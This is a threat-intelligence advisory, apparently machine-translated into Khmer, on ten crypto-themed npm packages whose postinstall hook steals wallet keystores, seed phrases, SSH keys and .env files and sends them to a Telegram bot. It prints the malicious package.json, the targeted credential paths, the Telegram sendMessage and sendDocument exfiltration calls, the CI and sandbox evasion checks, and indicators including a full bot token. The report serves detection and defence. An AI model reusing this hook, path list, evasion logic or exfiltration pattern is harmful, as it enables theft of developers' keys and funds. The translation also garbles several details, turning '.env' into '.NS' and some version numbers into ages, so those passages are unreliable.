TL; កុង
នៅថ្ងៃទី 9 ខែមិថុនា ឆ្នាំ 2026 គណនីអ្នកបោះពុម្ពផ្សាយ npm តែមួយ aicrypto-xzgggបានដឹកជញ្ជូន កញ្ចប់ដប់ ជាមួយឈ្មោះដែលមានរសជាតិដូចគ្រីបតូ និង Web3 — farming-tools-12, swap-sdk-87, defi-tools-39, wallet-sdk-9, និងប្រាំមួយទៀត។
កញ្ចប់នីមួយៗដំណើរការ payload ដូចគ្នាពី postinstall hook។ នៅពេលដំឡើង វាពិនិត្យមើលថាតើវាកំពុងដំណើរការនៅខាងក្នុង CI ឬ sandbox — បើមិនដូច្នោះទេ វានឹងអាន keystores កាបូប ឯកសារ seed-phrase សោ SSH និង .env ឯកសារពីប្រព័ន្ធអេកូឡូស៊ី blockchain ចំនួនប្រាំមួយ ហើយបញ្ជូនវាទៅ Telegram bot។
សូចនាករតែមួយគត់ដែលអ្នកការពារអាចស្វែងរកបានភ្លាមៗគឺលេខសម្គាល់ bot Telegram 8227918239.
ភាពធ្ងន់ធ្ងរ៖ សំខាន់ — ការលួចដោយផ្ទាល់នូវកូនសោចុះហត្ថលេខា និងឃ្លាសង្គ្រោះពី ស្ថានីយការងាររបស់អ្នកអភិវឌ្ឍន៍.
ការវាយប្រហារ៖ របៀបដែលវាដំណើរការ
កញ្ចប់ទាំងនេះផ្សព្វផ្សាយខ្លួនឯងថាជាឧបករណ៍ប្រើប្រាស់សម្រាប់អ្នកអភិវឌ្ឍន៍ blockchain។ កញ្ចប់ គឺតិចតួចបំផុត ហើយចង្អុលវដ្តជីវិតនៃការដំឡើងទៅកាន់ស្គ្រីបមួយ៖
{
"name": "farming-tools-12",
"main": "src/index.js",
"scripts": { "postinstall": "node scripts/postinstall.js" },
"keywords": ["web3", "crypto", "blockchain", "solana", "ethereum"],
"author": "Alex Smith",
"license": "MIT"
}ស្គ្រីប/ក្រោយការដំឡើង.js គឺជាបន្ទះស៊ីមមួយជួរដែលផ្ទុកបន្ទុកពិតប្រាកដ៖ តម្រូវឲ្យមាន (“../src/index.js”)។ ពីព្រោះ។ ក្រោយការដំឡើង ដំណើរការដោយស្វ័យប្រវត្តិក្នុងអំឡុងពេល ល្ងាចដំឡើង, មិនតម្រូវឱ្យមានការនាំចូលកូដដោយអ្នកអភិវឌ្ឍន៍ទេ — ការដាក់កញ្ចប់នៅក្នុងដើមឈើអាស្រ័យគឺគ្រប់គ្រាន់ដើម្បីប្រតិបត្តិវា។
ខ្សែសង្វាក់សម្លាប់នៅខាងក្នុង src/index.js គឺជាជំហានបួន៖
- ការត្រួតពិនិត្យបរិស្ថាន។ អនុគមន៍ការពារសម្រេចថាតើម៉ាស៊ីនមើលទៅដូចជាភ្នាក់ងារសាងសង់ ឬប្រអប់ខ្សាច់វិភាគ។
- ពន្យាពេល។ ការប្រតិបត្តិត្រូវបានពន្យារពេលនៅពីក្រោយ កំណត់ម៉ោងចេញ ប្រហែល ៧,៤ វិនាទី។
- ការប្រមូល។ បញ្ជីថេរនៃផ្លូវកាបូប កូនសោ និងឯកសារសម្ងាត់ត្រូវបានដើរ; ឯកសារដែលមានស្រាប់ត្រូវបានដាក់ជាជួរ។
- ការច្រោះចេញ។ ឯកសារដែលដាក់ជាជួរត្រូវបានផ្ញើទៅកាន់ bot Telegram ដែលនាំមុខដោយសារសង្ខេប។
បញ្ជីគោលដៅប្រមូលផ្ដុំគ្របដណ្តប់លើខ្សែសង្វាក់ចំនួនប្រាំមួយ បូករួមទាំងអាថ៌កំបាំងទូទៅរបស់អ្នកអភិវឌ្ឍន៍។ កែសម្រួល៖
~/.config/solana/id.json ~/.ethereum/keystore
~/.solana/keypair.json ~/.bitcoin/wallet.dat
~/.tron_wallet/keystore ~/.sui/sui_config/sui.keystore
~/.aptos/key.txt ~/.ssh/id_rsa , ~/.ssh/id_ed25519
./wallet.json ./keystore.json ./mnemonic.txt ./seed.txt
./seedphrase.txt ./recovery.txt ./private.key ./.env ./.env.localផ្លូវសរុបចំនួនម្ភៃមួយ។ ធាតុថតដូចជា ~/.ethereum/keystore ត្រូវបានពង្រីក ហើយឯកសារនីមួយៗនៅខាងក្នុងត្រូវបានដាក់ជាជួរ។ ការច្រោះចេញប្រើប្រាស់ Telegram Bot API ដោយផ្ទាល់ — a ផ្ញើសារ ហៅទូរស័ព្ទជាមួយម៉ាស៊ីន និងសេចក្តីសង្ខេបឯកសារ បន្ទាប់មក ផ្ញើឯកសារ ការផ្ទុកឡើងច្រើនផ្នែកសម្រាប់ឯកសារនីមួយៗ៖
អត្ថបទ
POST https://api.telegram.org/bot<token>/sendMessage
POST https://api.telegram.org/bot<token>/sendDocument (one per file)សារសង្ខេបដែលកូដបានផ្គុំចាប់ផ្តើមជាមួយខ្សែអក្សរព្យញ្ជនៈ អ្នកលួចគ្រីបតូបន្ទាប់មកដោយឈ្មោះម៉ាស៊ីន ឈ្មោះអ្នកប្រើប្រាស់ ឈ្មោះកញ្ចប់ដើម ចំនួនឯកសារ និងត្រាពេលវេលា។
មានអ្វីថ្មីនៅទីនេះ
ភាពខុសគ្នាមិនមែនជាយន្តការលួចទេ — exfil ដែលមានមូលដ្ឋានលើ Telegram ពី npm ក្រោយការដំឡើង hooks ត្រូវបានជាន់ឈ្លីយ៉ាងល្អ។ វាគឺជា ច្រកទ្វារប្រហារជីវិត។ មុនពេលធ្វើអ្វីមួយ payload ហៅមុខងារមួយដែលត្រឡប់ true នៅពេលដែល host មើលទៅដូចជា CI runner ឬ sandbox ហើយត្រឡប់មុននៅពេលដែលវាធ្វើ៖
អត្ថបទ
isTestEnvironment() is true when ANY of:
- env CI == "true" OR GITHUB_ACTIONS == "true" OR JENKINS_HOME set
- env NODE_ENV in {test, development}
- username/USER contains: runner, sandbox, test, docker,
jenkins, gitlab, travis, circleci
- hostname contains: sandbox, test, ci
- hostname matches /^[a-f0-9]{12}$/ (a container-id shape)regex លេខសម្គាល់កុងតឺន័រគឺជាឃ្លាគួរឱ្យកត់សម្គាល់៖ ឈ្មោះម៉ាស៊ីនដែលមានតួអក្សរ 12-hex គឺជារូបរាងលំនាំដើមដែល Docker កំណត់ទៅ ធុងដូច្នេះ payload ចាត់ទុក "ឈ្មោះម៉ាស៊ីនរបស់ខ្ញុំមើលទៅដូចជាកុងតឺន័រ Docker" ជាហេតុផលដើម្បីនៅស្ងៀម។ រួមផ្សំជាមួយនឹងការពន្យាពេលប្រាំពីរវិនាទី ការរចនានេះពេញចិត្តនឹងការដំណើរការលើស្ថានីយការងារពិតរបស់អ្នកអភិវឌ្ឍន៍ និងនៅស្ងៀមគ្រប់ទីកន្លែងដែលមើលទៅដូចជាការវិភាគដោយស្វ័យប្រវត្តិ។ ច្រកទ្វារនោះគឺជាអ្វីដែលបង្ក្រាបសញ្ញាវិភាគថាមវន្ត និងរក្សាលំហូរ exfil ឋិតិវន្តជាភស្តុតាងផ្តន្ទាទោសចម្បង។
ការកំណត់ពេលវេលា
| កាលបរិច្ឆេទ (UTC) | ព្រឹត្តការណ៍ |
|---|---|
| 2026-06-09 ~02:48 | កញ្ចប់ដំបូងនៅក្នុងចង្កោមត្រូវបានសម្គាល់នៅពេលបោះពុម្ពផ្សាយ (crypto-utils-7, ethereum-kit-1, web3-tools-9, solana-core-4, blockchain-helper-0) |
| 2026-06-09 ~03:21–03:25 | សមាជិកដែលមានកំណែខ្ពស់ជាងនេះត្រូវបានសម្គាល់ (ethereum-kit-9 នៅអាយុ ១៤ ឆ្នាំ wallet-sdk-9 នៅ 3.7.73) |
| 2026-06-09 ~03:58–03:59 | សមាជិកចុងក្រោយដែលបានដាក់ទង់ (defi-tools-39 នៅអាយុ ១៤ ឆ្នាំ swap-sdk-87 នៅអាយុ ១៤ ឆ្នាំ farming-tools-12 នៅ 4.68.54) |
| 2026-06-09 | ទាំងដប់ត្រូវបានចាត់ថ្នាក់ជាព្យាបាទ និងត្រូវបានរាយការណ៍សម្រាប់ការលុបបញ្ជីឈ្មោះ |
ទាំងដប់បានលេចចេញក្នុងរយៈពេលប្រហែលចិតសិបនាទី ស្របតាមការបោះពុម្ពផ្សាយដែលមានស្គ្រីបតែមួយពីគណនីមួយ។
សូចនាករនៃការសម្របសម្រួល
សូចនាករបណ្ដាញ និងឥរិយាបថ (ម៉ាស៊ីនមេត្រូវបានលុបចោល)៖
| ទ្រនិចបង្ហាញ | តម្លៃ |
|---|---|
| ចំណុចបញ្ចប់ Exfil | api[.]telegram[.]org (Telegram Bot API) |
| លេខសម្គាល់បូត Telegram | 8227918239 |
| សញ្ញាសម្ងាត់បូត | 8227918239:AAGEMDrBZluDsBBYPxfSyMuv2l3FY8cZCcs |
| លេខសម្គាល់ការជជែកតាម Telegram | 6433587894 |
| ដំឡើងទំពក់ | postinstall → scripts/postinstall.js → src/index.js |
| ខ្សែអក្សរសម្គាល់ | CRYPTO STEALER នៅក្នុងសារសង្ខេបដែលបានចងក្រង |
| បោះពុម្ពផ្សាយ | aicrypto-xzggg (អ៊ីមែលដែលបានបញ្ជាក់ vipsyria88@gmail[.]com, មិនទាន់បានផ្ទៀងផ្ទាត់) |
កញ្ចប់ និងកំណែនីមួយៗមាន SHA-256 របស់វា src/index.js payload (payloads មានមុខងារដូចគ្នាបេះបិទ ហើយខុសគ្នាតែនៅក្នុងស្លាកឈ្មោះកញ្ចប់ដែលបានបង្កប់ ដូច្នេះ hash នីមួយៗគឺខុសគ្នា)៖
| កញ្ចប់សមាជិក | កំណែ | SHA-256 នៃ src/index.js |
|---|---|---|
farming-tools-12 | 4.68.54 | b50403be9dd9f94f7af4795c1e346c9d27d5a18041a3044773238c4cdc1f4de4 |
swap-sdk-87 | 4.63.78 | 9d96f8759e8d593b6dd2338aceb08cdb12e9a5613700953e04e66cc8c2e3087c |
defi-tools-39 | 4.26.29 | ddc5011b6173a57bc7f29b010ed6b71551dee253b5d05d3efc78d076f5351fee |
wallet-sdk-9 | 3.7.73 | ef4459281c64f1fe8923d703d416f04080ff1a2b7b385366f46d7cdb25731502 |
ethereum-kit-9 | 1.25.36 | c43afad949027040c6414d26fa4eea6e2671d2572f9df7fd595e12baf204854f |
ethereum-kit-1 | 1.0.0 | 1147f5227f3b13f65a438b31d87766c33affc65b7734a8658c95e0a4be1d2381 |
solana-core-4 | 1.0.0 | 93c65f971137d2753b5c57b685471bf5319bdc357fa863de56cbed8447cf576d |
web3-tools-9 | 1.0.0 | db97070bd349503f5703404493fc925448c2308c86708b33786309ebe6446a3d |
crypto-utils-7 | 1.0.0 | 59f2fb112d6f17102fb4a70c8d12bfcbc93e9f0d170fe4451bad1aa4d5d74c92 |
blockchain-helper-0 | 1.0.0 | 053eb318980439d76eecac9847ae31ecf59654cf75ddcfebbdd9ce64bb98a0db |
សំណួរស្វែងរកសាមញ្ញមួយ៖ ស្វែងរកកំណត់ហេតុដំឡើង និងឯកសារចាក់សោសម្រាប់ឈ្មោះណាមួយក្នុងចំណោមឈ្មោះទាំងដប់ ហើយស្វែងរកចរាចរណ៍ចេញសម្រាប់ការតភ្ជាប់ទៅកាន់ Telegram Bot API ពីម៉ាស៊ីនបង្កើត ឬម៉ាស៊ីនអ្នកអភិវឌ្ឍន៍ដែលមិនប្រើវា។
ការសន្មត់ និងឥរិយាបថដែលសង្កេតឃើញ
កញ្ចប់ទាំងដប់ត្រូវបានបោះពុម្ពផ្សាយដោយគណនីតែមួយ aicrypto-xzgggដែលអ៊ីមែលដែលបានបញ្ជាក់គឺ vipsyria88@gmail[.]comទាំងអ៊ីមែល និងតំណភ្ជាប់ត្រួតពិនិត្យប្រភពមិនត្រូវបានផ្ទៀងផ្ទាត់នៅក្នុងទិន្នន័យមេតាក្នុងបញ្ជីឈ្មោះទេ ហើយគណនីនេះមានពិន្ទុកេរ្តិ៍ឈ្មោះអវិជ្ជមានខ្លាំង។ យើងមិនទាន់បានបញ្ជាក់ថាអ្នកណាជាអ្នកដំណើរការគណនីនេះនៅឡើយទេ។
ព័ត៌មានលម្អិតពីរគឺមានតម្លៃក្នុងការញែកចេញពីការអះអាងអត្តសញ្ញាណណាមួយ។ ទីមួយ កញ្ចប់ អ្នកនិពន្ធ ការអានវាល អាឡិចអេសស្មី នៅលើកញ្ចប់នីមួយៗ ខណៈពេលដែលគណនីបោះពុម្ពផ្សាយពិតប្រាកដគឺ aicrypto-xzgggវាលអ្នកនិពន្ធគឺជាទិន្នន័យមេតាដែលប្រកាសដោយខ្លួនឯង ហើយមិនបង្កើតភាពជាអ្នកនិពន្ធទេ។ ទីពីរ លេខកំណែមានភាពខុសគ្នាយ៉ាងខ្លាំង — សមាជិកមួយចំនួនអង្គុយនៅ 1.0.0, អ្នកផ្សេងទៀតនៅ 4.68.54 — ដែលស្របនឹងការប្រើប្រាស់ payload តែមួយឡើងវិញនៅទូទាំងឈ្មោះកញ្ចប់ដែលទើបបង្កើតថ្មីៗ ជាជាងការរក្សាប្រវត្តិចេញផ្សាយពិតប្រាកដ។
ឥរិយាបថគឺដូចគ្នានៅទូទាំងចង្កោម៖ បញ្ជីផ្លូវគោលដៅដូចគ្នា លេខសម្គាល់បូត Telegram និងលេខសម្គាល់ជជែកដូចគ្នា ច្រកទ្វារបរិស្ថានដូចគ្នា អ្នកលួចគ្រីបតូ សញ្ញាសម្គាល់។ ឯកសណ្ឋាននោះគឺជាតំណភ្ជាប់ដ៏រឹងមាំបំផុតរវាងកញ្ចប់។ វាគឺជាសញ្ញាប្រតិបត្តិករដូចគ្នា មិនមែនជាអត្តសញ្ញាណទេ។
ផលប៉ះពាល់ និន្នាការ និងការណែនាំសម្រាប់អ្នកការពារ
ការលាតត្រដាងគឺជាក់ស្តែង។ អ្នកអភិវឌ្ឍន៍ដែលដំឡើងកញ្ចប់ណាមួយនៅលើស្ថានីយការងារដែលមានកាបូបកម្មវិធី ឯកសារឃ្លាដំបូង ឬសោ SSH នឹងអាន និងបញ្ជូនឯកសារទាំងនោះចេញពីម៉ាស៊ីនក្នុងរយៈពេលប៉ុន្មានវិនាទី។ ឃ្លាសង្គ្រោះ និងសោចុះហត្ថលេខាមិនផុតកំណត់ដូចសញ្ញាសម្ងាត់វគ្គទេ។ នៅពេលដែល... អក្សរជំនួយក្នុងការចងចាំ.txt ឬ សូឡាណា id.json ចាកចេញពីម៉ាស៊ីន មូលនិធិដែលវាគ្រប់គ្រងនឹងស្ថិតក្នុងហានិភ័យរហូតដល់ពួកវាត្រូវបានផ្លាស់ប្តូរ។ ការរត់ដូចគ្នានេះក៏ចាប់យកផងដែរ .NS ឯកសារ ដែលតែងតែមានសោ API និងព័ត៌មានសម្គាល់មូលដ្ឋានទិន្នន័យ។
និន្នាការពីរស្ថិតនៅពីក្រោយចង្កោមនេះ។ ទីមួយគឺការប្រើប្រាស់ឈ្មោះដែលមានប្រធានបទគ្រីបតូ និង Web3 ជាបន្តបន្ទាប់ ដើម្បីទាក់ទាញទស្សនិកជនជាក់លាក់មួយ — អ្នកអភិវឌ្ឍន៍ដែលរក្សាកាបូប និងកូនសោនៅលើម៉ាស៊ីនដូចគ្នាដែលពួកគេដំឡើងការពឹងផ្អែក។ ទីពីរគឺភាពចាស់ទុំនៃការគេចវេសពី sandbox នៅក្នុង payloads ពេលវេលាដំឡើង។ ច្រកទ្វារដែលពិនិត្យមើលអថេរបរិស្ថាន CI ឈ្មោះអ្នកប្រើប្រាស់អ្នករត់ និងរូបរាងឈ្មោះម៉ាស៊ីនលេខសម្គាល់កុងតឺន័រ Docker គឺជាការខិតខំប្រឹងប្រែងដោយចេតនាដើម្បីប្រព្រឹត្តខុសគ្នាក្រោមការវិភាគជាងនៅលើស្ថានីយការងារពិតប្រាកដ ហើយវាលើកកម្ពស់របារសម្រាប់ការរកឃើញថាមវន្តសុទ្ធសាធ។
សម្រាប់អ្នកការពារ៖
ដំឡើងដោយបិទស្គ្រីបតាមលំនាំដើម។ npm ដំឡើង - មិនអើពើស្គ្រីបឬកំណត់ មិនអើពើស្គ្រីប = ពិត in .npmrc, រារាំង ក្រោយការដំឡើង ការប្រតិបត្តិ; បើកដំណើរការស្គ្រីបសម្រាប់តែភាពអាស្រ័យជាក់លាក់ដែលពិតជាត្រូវការពួកវា។
ទុកកាបូប និងសោចុះហត្ថលេខាចេញពីម៉ាស៊ីនសាងសង់ និងអភិវឌ្ឍន៍។ ប្រើកាបូបផ្នែករឹង ឬម៉ាស៊ីនបង្ហោះចុះហត្ថលេខាដែលឧទ្ទិសដល់ការពឹងផ្អែក។
ព្យាបាល .NS, ឃ្លាំងគន្លឹះ និងឯកសារឃ្លាគ្រាប់ពូជជាគ្រឿងអលង្ការមកុដ។ ពួកវាមិនគួរស្ថិតនៅក្នុងថតឯកសារដែលក៏ជា ល្ងាចដំឡើង ដើមឈើធ្វើការ។
ស្វែងរកការតភ្ជាប់ចេញទៅកាន់ Telegram Bot API ពី CI និងម៉ាស៊ីនមេរបស់អ្នកអភិវឌ្ឍន៍។ បរិស្ថានសាងសង់ភាគច្រើនមិនដែលហៅវាទេ។ បរិស្ថានដែលភ្លាមៗនោះកើតឡើងភ្លាមៗបន្ទាប់ពីដំឡើងរួច គឺមានតម្លៃក្នុងការស៊ើបអង្កេត។
Pin និងពិនិត្យមើល dependencies។ កញ្ចប់ថ្មីស្រឡាងដែលមានឈ្មោះគ្រីបតូទូទៅ ក្រោយការដំឡើង hook ហើយគ្មានតំណភ្ជាប់ឃ្លាំងណាមួយដែលតម្រូវឱ្យមើលមុនពេលវាចូលទៅក្នុងឯកសារចាក់សោនោះទេ។
ឃ្លាគេចវេះ container-id ក៏ជាការរំលឹកសម្រាប់អ្នកវិភាគផងដែរ៖ payload ពេលដំឡើងដែលនៅអសកម្មនៅក្នុង sandbox មិនមែនជារឿងល្អទេ វាជាការជ្រើសរើស។ ការពិនិត្យឡើងវិញឋិតិវន្តនៃផ្លូវដំឡើងនៅតែជាមធ្យោបាយដែលអាចទុកចិត្តបានដើម្បីមើលថាតើការប្រតិបត្តិថាមវន្តអ្វីដែលអាចបដិសេធមិនបង្ហាញ។
ឯកសារយោង
ឯកសារដំឡើង npm — ស្គ្រីបវដ្តជីវិត និង – មិនអើពើស្គ្រីប— ឯកសារយោងសម្រាប់បិទការដំឡើងដោយស្វ័យប្រវត្តិ hooks.







